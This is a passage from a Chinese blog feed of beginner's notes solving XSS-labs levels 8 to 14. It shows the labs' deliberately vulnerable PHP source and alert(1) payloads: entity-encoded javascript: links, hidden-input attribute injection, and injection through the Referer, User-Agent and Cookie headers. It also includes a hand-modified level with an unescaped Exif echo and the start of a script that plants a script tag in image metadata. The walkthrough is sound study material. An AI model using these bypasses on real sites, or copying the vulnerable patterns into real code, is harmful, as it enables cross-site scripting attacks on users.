&lt;p&gt;输入 &lt;code&gt;$str7&lt;/code&gt; 被直接放进了 &lt;code&gt;&amp;#x3C;a&gt;&lt;/code&gt; 标签的 &lt;code&gt;href&lt;/code&gt; 属性里。 &lt;strong&gt;这意味着：&lt;/strong&gt; 我们不需要“逃逸”闭合标签，我们本来就在一个可以执行 JS 的地方（&lt;code&gt;href&lt;/code&gt; 属性支持 &lt;code&gt;javascript:&lt;/code&gt; 伪协议）&lt;/p&gt;
&lt;p&gt;而&lt;code&gt;href&lt;/code&gt;有一个属性，会先进行&lt;strong&gt;HTML 解码&lt;/strong&gt;，还原之后，再执行。&lt;/p&gt;
&lt;p&gt;3.那么就可以构造出&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;javasc&amp;#x26;#114;ipt:alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;HTML 实体编码&lt;/h3&gt;
&lt;p&gt;主要针对的就是php不会进行html解码，进而绕过过滤，而例如&lt;code&gt;href&lt;/code&gt;会自动进行解码&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;方法 (Method)&lt;/strong&gt; | &lt;strong&gt;构造代码 (Payload)&lt;/strong&gt;                                                                                                 | &lt;strong&gt;备注&lt;/strong&gt;                                            |
| --------------- | ------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------- |
| &lt;strong&gt;单字编码 (最推荐)&lt;/strong&gt;  | &lt;code&gt;javasc&amp;#x26;#114;ipt:alert(1)&lt;/code&gt;                                                                                         | 只改一个字母 &lt;code&gt;r&lt;/code&gt;，最短最快。                                  |
| &lt;strong&gt;首字编码&lt;/strong&gt;        | &lt;code&gt;java&amp;#x26;#115;cript:alert(1)&lt;/code&gt;                                                                                         | 只改一个字母 &lt;code&gt;s&lt;/code&gt;。                                       |
| &lt;strong&gt;插入 Tab 符&lt;/strong&gt;    | &lt;code&gt;javasc&amp;#x26;#9;ript:alert(1)&lt;/code&gt;                                                                                          | 利用 &lt;code&gt;&amp;#x26;#9;&lt;/code&gt; (Tab键) 打断单词。                            |
| &lt;strong&gt;全部编码&lt;/strong&gt;    | &lt;code&gt;&amp;#x26;#106;&amp;#x26;#97;&amp;#x26;#118;&amp;#x26;#97;&amp;#x26;#115;&amp;#x26;#99;&amp;#x26;#114;&amp;#x26;#105;&amp;#x26;#112;&amp;#x26;#116;&amp;#x26;#58;&lt;/code&gt;&lt;code&gt;&amp;#x26;#97;&amp;#x26;#108;&amp;#x26;#101;&amp;#x26;#114;&amp;#x26;#116;&amp;#x26;#40;&amp;#x26;#49;&amp;#x26;#41;&lt;/code&gt; | &lt;strong&gt;第一行是&lt;/strong&gt; &lt;code&gt;javascript:&lt;/code&gt;&lt;strong&gt;第二行是&lt;/strong&gt; &lt;code&gt;alert(1)&lt;/code&gt; |&lt;/p&gt;
&lt;h2&gt;第九关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level10.php?keyword=well done!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level9&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level9&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = strtolower($_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;script&quot;,&quot;scr_ipt&quot;,$str);
$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);
$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);
$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);
$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);
$str7=str_replace(&apos;&quot;&apos;,&apos;&amp;#x26;quot&apos;,$str6);
echo &apos;&amp;#x3C;center&gt;
&amp;#x3C;form action=level9.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&quot;&apos;.htmlspecialchars($str).&apos;&quot;&gt;
&amp;#x3C;input type=submit name=submit value=添加友情链接 /&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;?php
if(false===strpos($str7,&apos;http://&apos;))
{
  echo &apos;&amp;#x3C;center&gt;&amp;#x3C;BR&gt;&amp;#x3C;a href=&quot;您的链接不合法？有没有！&quot;&gt;友情链接&amp;#x3C;/a&gt;&amp;#x3C;/center&gt;&apos;;
        }
else
{
  echo &apos;&amp;#x3C;center&gt;&amp;#x3C;BR&gt;&amp;#x3C;a href=&quot;&apos;.$str7.&apos;&quot;&gt;友情链接&amp;#x3C;/a&gt;&amp;#x3C;/center&gt;&apos;;
}
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level9.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str7).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.可以看到，整体的思路和第八关是一样的，利用友情链接&lt;/p&gt;
&lt;p&gt;2.但是这里多了判断，判断我们输入的链接是否合法，意味着上一关直接伪协议+编码是无效的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;?php
if(false===strpos($str7,&apos;http://&apos;))
{
  echo &apos;&amp;#x3C;center&gt;&amp;#x3C;BR&gt;&amp;#x3C;a href=&quot;您的链接不合法？有没有！&quot;&gt;友情链接&amp;#x3C;/a&gt;&amp;#x3C;/center&gt;&apos;;
        }
else
{
  echo &apos;&amp;#x3C;center&gt;&amp;#x3C;BR&gt;&amp;#x3C;a href=&quot;&apos;.$str7.&apos;&quot;&gt;友情链接&amp;#x3C;/a&gt;&amp;#x3C;/center&gt;&apos;;
}
?&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析一下可以知道，这里只是判断了传入的参数中 是否带有 &lt;code&gt;http://&lt;/code&gt; 这一项，意味着我们可以在任何地方塞入&lt;/p&gt;
&lt;p&gt;3.那么我们就可以在上一关基础上构造，利&lt;code&gt;//&lt;/code&gt; 注释 使后续不生效&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;javasc&amp;#x26;#114;ipt:alert(1) // http://
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;换个思路想想，我们甚至可以不需要注释，直接塞到&lt;code&gt;alert()&lt;/code&gt;之中,注意这里一定要使用&lt;code&gt;&apos;&lt;/code&gt;进行包裹&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;javasc&amp;#x26;#114;ipt:alert(&apos;http://&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第十关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level11.php?keyword=good job!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level10&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level10&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
$str11 = $_GET[&quot;t_sort&quot;];
$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);
$str33=str_replace(&quot;&amp;#x3C;&quot;,&quot;&quot;,$str22);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form id=search&gt;
&amp;#x3C;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_sort&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level10.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.这一关只能靠传入参数的方式来构造payload，但问题出现了我们要给什么东西传参呢？&lt;/p&gt;
&lt;p&gt;2.查看网页源码可以看到，有三个 &lt;code&gt;input&lt;/code&gt;被隐藏了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;input name=&quot;t_link&quot;  value=&quot;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_history&quot;  value=&quot;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_sort&quot;  value=&quot;&quot; type=&quot;hidden&quot;&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们不妨对三个都传入参数，例如&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;t_link=1&amp;#x26;t_history=1&amp;#x26;t_sort=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由此可以发现注入点在&lt;code&gt;t_sort&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;3.那么我们就可以和之前一样构造&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;t_sort=&quot; type=&quot;text&quot; onclick=&quot;alert(1) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| &lt;strong&gt;障碍&lt;/strong&gt;              | &lt;strong&gt;解决方法&lt;/strong&gt;                           |
| ------------------- | ---------------------------------- |
| &lt;strong&gt;找不到注入点&lt;/strong&gt;          | 阅读源码（或盲猜），发现隐藏的 &lt;code&gt;t_sort&lt;/code&gt; 参数。       |
| &lt;strong&gt;过滤了 &lt;code&gt;&amp;#x3C; &gt;&lt;/code&gt;&lt;/strong&gt;       | 放弃标签逃逸，转向 &lt;strong&gt;属性注入&lt;/strong&gt;（在标签内部添加属性）。     |
| &lt;strong&gt;&lt;code&gt;type=&quot;hidden&quot;&lt;/code&gt;&lt;/strong&gt; | 注入 &lt;code&gt;type=&quot;text&quot;&lt;/code&gt; 覆盖原有属性，让元素显形以便交互。 |&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Xss-labs通关全解&amp;&amp;XSS笔记03</title><link>https://zh.maxtonniu.com/blog/xsslabs03</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/xsslabs03</guid><description>分析以及笔记</description><pubDate>Fri, 26 Dec 2025 18:37:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;初学者学习并且参考整理的笔记，仅供参考，非专业人员，难免有疏忽，借鉴他人，AI辅助之处，见谅。&lt;/p&gt;
&lt;p&gt;我选择直接使用源码呈现（正常情况下是无法看到完整源码的，只能看到页面源码）,一方面是省去试错payload所占用的篇幅，另一方面也是为了日后温习时能更加直观，不需要再挂其他的了，我觉得大部分过滤的方法都可以被试出来，多输入几次总归可以。\&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;第十一关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level12.php?keyword=good job!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level11&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level11&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
$str00 = $_GET[&quot;t_sort&quot;];
$str11=$_SERVER[&apos;HTTP_REFERER&apos;];
$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);
$str33=str_replace(&quot;&amp;#x3C;&quot;,&quot;&quot;,$str22);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form id=search&gt;
&amp;#x3C;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_sort&quot;  value=&quot;&apos;.htmlspecialchars($str00).&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_ref&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level11.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.这一关从源码分析来看全是烟雾弹（真实做题看不到源码能做出来真的很厉害了，反正我看到想不到）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_sort&quot;  value=&quot;&apos;.htmlspecialchars($str00).&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_ref&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目中给出的四个变量，往里传什么都没用........&lt;/p&gt;
&lt;p&gt;2.题目的切入点就在于http请求头部分&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$str11=$_SERVER[&apos;HTTP_REFERER&apos;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后续内容可以看到只是进行了简单的对 &lt;code&gt;&amp;#x3C;&lt;/code&gt; 和&lt;code&gt;&gt;&lt;/code&gt; 的过滤，那么我们就需要一些辅助工具了，例如&lt;strong&gt;Hackbar&lt;/strong&gt; &lt;strong&gt;BurpSuite&lt;/strong&gt;等&lt;/p&gt;
&lt;p&gt;3.例如使用BurpSuite抓包后直接末尾加入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referer: &quot; onclick = alert(1) type=&quot;text
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第十二关&lt;/h2&gt;
&lt;p&gt;源码展示&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level13.php?keyword=good job!&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level12&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level12&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
$str00 = $_GET[&quot;t_sort&quot;];
$str11=$_SERVER[&apos;HTTP_USER_AGENT&apos;];
$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);
$str33=str_replace(&quot;&amp;#x3C;&quot;,&quot;&quot;,$str22);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form id=search&gt;
&amp;#x3C;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_sort&quot;  value=&quot;&apos;.htmlspecialchars($str00).&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_ua&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level12.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.和上一关很相似，只是把&lt;code&gt;referer&lt;/code&gt;变成了&lt;code&gt;user agent&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.依旧是BurpSuite抓包，找到&lt;code&gt;User-Agent&lt;/code&gt;构造&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-Agent:&quot; onclick = alert(1) type=&quot;text
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第十三关&lt;/h2&gt;
&lt;p&gt;源码展示&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level14.php&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level13&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level13&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
setcookie(&quot;user&quot;, &quot;call me maybe?&quot;, time()+3600);
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
$str00 = $_GET[&quot;t_sort&quot;];
$str11=$_COOKIE[&quot;user&quot;];
$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);
$str33=str_replace(&quot;&amp;#x3C;&quot;,&quot;&quot;,$str22);
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form id=search&gt;
&amp;#x3C;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_sort&quot;  value=&quot;&apos;.htmlspecialchars($str00).&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;input name=&quot;t_cook&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level13.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.和上两关没什么区别，这次变成了 &lt;code&gt;cookie&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.源码中如下写到，使用了cookie中user的值，在看不到源码情况下，通过bp抓包也是能明显发现端倪的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;setcookie(&quot;user&quot;, &quot;call me maybe?&quot;, time()+3600);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Cookie: user=call+me+maybe%3F  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目中暗示我们修改user的值进而实现注入&lt;/p&gt;
&lt;p&gt;3.剩下的就和上述关卡没什么区别了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookie: user=&quot; onclick = alert(1) type=&quot;text
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;HTTP请求头注入&lt;/h3&gt;
&lt;p&gt;| &lt;strong&gt;关卡&lt;/strong&gt;       | &lt;strong&gt;注入点 (HTTP Header)&lt;/strong&gt; | &lt;strong&gt;PHP 接收代码 (漏洞源)&lt;/strong&gt;            | &lt;strong&gt;过滤情况&lt;/strong&gt;                    | &lt;strong&gt;核心 Payload (通用)&lt;/strong&gt;             |
| ------------ | --------------------- | ----------------------------- | --------------------------- | ------------------------------- |
| &lt;strong&gt;Level 11&lt;/strong&gt; | &lt;strong&gt;Referer&lt;/strong&gt;           | &lt;code&gt;$_SERVER[&apos;HTTP_REFERER&apos;]&lt;/code&gt;    | 过滤 &lt;code&gt;&amp;#x3C;&lt;/code&gt; &lt;code&gt;&gt;&lt;/code&gt;  &lt;strong&gt;不过滤 &lt;code&gt;&quot;&lt;/code&gt;&lt;/strong&gt; | &lt;code&gt;&quot; onclick=alert(1) type=&quot;text&lt;/code&gt; |
| &lt;strong&gt;Level 12&lt;/strong&gt; | &lt;strong&gt;User-Agent&lt;/strong&gt;        | &lt;code&gt;$_SERVER[&apos;HTTP_USER_AGENT&apos;]&lt;/code&gt; | 过滤 &lt;code&gt;&amp;#x3C;&lt;/code&gt; &lt;code&gt;&gt;&lt;/code&gt;  &lt;strong&gt;不过滤 &lt;code&gt;&quot;&lt;/code&gt;&lt;/strong&gt; | &lt;code&gt;&quot; onclick=alert(1) type=&quot;text&lt;/code&gt; |
| &lt;strong&gt;Level 13&lt;/strong&gt; | &lt;strong&gt;Cookie&lt;/strong&gt;            | &lt;code&gt;$_COOKIE[&apos;user&apos;]&lt;/code&gt;            | 过滤 &lt;code&gt;&amp;#x3C;&lt;/code&gt; &lt;code&gt;&gt;&lt;/code&gt;  &lt;strong&gt;不过滤 &lt;code&gt;&quot;&lt;/code&gt;&lt;/strong&gt; | &lt;code&gt;&quot; onclick=alert(1) type=&quot;text&lt;/code&gt; |&lt;/p&gt;
&lt;h2&gt;第十四关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;title&gt;欢迎来到level14&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level14&amp;#x3C;/h1&gt;
&amp;#x3C;center&gt;&amp;#x3C;iframe name=&quot;leftframe&quot; marginwidth=10 marginheight=10 src=&quot;http://www.exifviewer.org/&quot; frameborder=no width=&quot;80%&quot; scrolling=&quot;no&quot; height=80%&gt;&amp;#x3C;/iframe&gt;&amp;#x3C;/center&gt;&amp;#x3C;center&gt;这关成功后不会自动跳转。成功者&amp;#x3C;a href=/xss/level15.php?src=1.gif&gt;点我进level15&amp;#x3C;/a&gt;&amp;#x3C;/center&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.XSS Labs 的第 14 关经常被认为是“坏掉的”或者“无法完成的”&lt;/p&gt;
&lt;p&gt;2.这里我们可以通过本地修改，实现本地运行,我这里是docker环境，就直接进去修改了&lt;code&gt;level14.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;title&gt;欢迎来到level14&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level14&amp;#x3C;/h1&gt;
&amp;#x3C;center&gt;
    &amp;#x3C;h3&gt;题目说明：此关卡考查 Exif XSS。&amp;#x3C;/h3&gt;
    &amp;#x3C;p&gt;原题依赖的外部网站已挂，此处模拟了后端读取 Exif 的逻辑。&amp;#x3C;/p&gt;

    &amp;#x3C;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
        &amp;#x3C;label&gt;选择包含恶意 Exif 信息的图片：&amp;#x3C;/label&gt;
        &amp;#x3C;input type=&quot;file&quot; name=&quot;file&quot; /&gt;
        &amp;#x3C;input type=&quot;submit&quot; value=&quot;上传并分析&quot; /&gt;
    &amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;

&amp;#x3C;?php
// 关闭错误显示，避免干扰
ini_set(&quot;display_errors&quot;, 0);

// 如果有文件上传
if(isset($_FILES[&quot;file&quot;])) {
    // 简单的类型检查
    if ((($_FILES[&quot;file&quot;][&quot;type&quot;] == &quot;image/jpeg&quot;) || ($_FILES[&quot;file&quot;][&quot;type&quot;] == &quot;image/pjpeg&quot;))) {

        $filename = $_FILES[&quot;file&quot;][&quot;tmp_name&quot;];

        // 【核心考点还原】
        // 使用 exif_read_data 读取元数据
        // 原题的漏洞在于：读取了 Exif 中的 Model (相机型号) 等字段后，未过滤直接 echo
        $exif = @exif_read_data($filename);

        echo &quot;&amp;#x3C;center&gt;&amp;#x3C;br&gt;&amp;#x3C;h3&gt;图片分析结果：&amp;#x3C;/h3&gt;&quot;;

        if($exif &amp;#x26;&amp;#x26; isset($exif[&apos;Model&apos;])) {
            // 漏洞点在这里：直接拼接输出，造成 XSS
            echo &quot;相机型号: &quot; . $exif[&apos;Model&apos;]; 
        } else {
            echo &quot;未读取到相机型号信息 (Model)，请确保图片带有 Exif 数据。&quot;;
        }
        echo &quot;&amp;#x3C;/center&gt;&quot;;
    }
}
?&gt;

&amp;#x3C;center&gt;
    &amp;#x3C;br&gt;&amp;#x3C;br&gt;
    &amp;#x3C;div&gt;(成功弹窗后，点击下方链接进入下一关)&amp;#x3C;/div&gt;
    &amp;#x3C;a href=&quot;level15.php&quot;&gt;点我进level15&amp;#x3C;/a&gt;
&amp;#x3C;/center&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;图方便，这里也没有再写其他的过滤什么的了，自己想的话也可以，最终方法也和之前的关卡大差不差&lt;/p&gt;
&lt;p&gt;3.然后我们不妨构造&lt;code&gt;python&lt;/code&gt; 脚本来实现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import piexif
from PIL import Image

# 1. 设置 Payload
# 我们要在网页里执行 alert(1)，所以写入 &amp;#x3C;script&gt;alert(1)&amp;#x3C;/script&gt;
# 注意：写入的位置是 Exif 中的 &quot;Model&quot; (相机型号) 字段
payload = &apos;&amp;#x3C;script&gt;alert(&quot;Level 14 Cracked&quot;)&amp;#x3C;/script&gt;&apos;

# 2. 读取原始图片
img_filename = &quot;a.jpg&quot;  # 随便找张jpg图放在同级目录
output_filename = &quot;hack.jpg&quot;

try:
    img = Image.open(img_filename)

    # 3. 构造 Exif 数据
    # Tag 272 对应 Model 属性
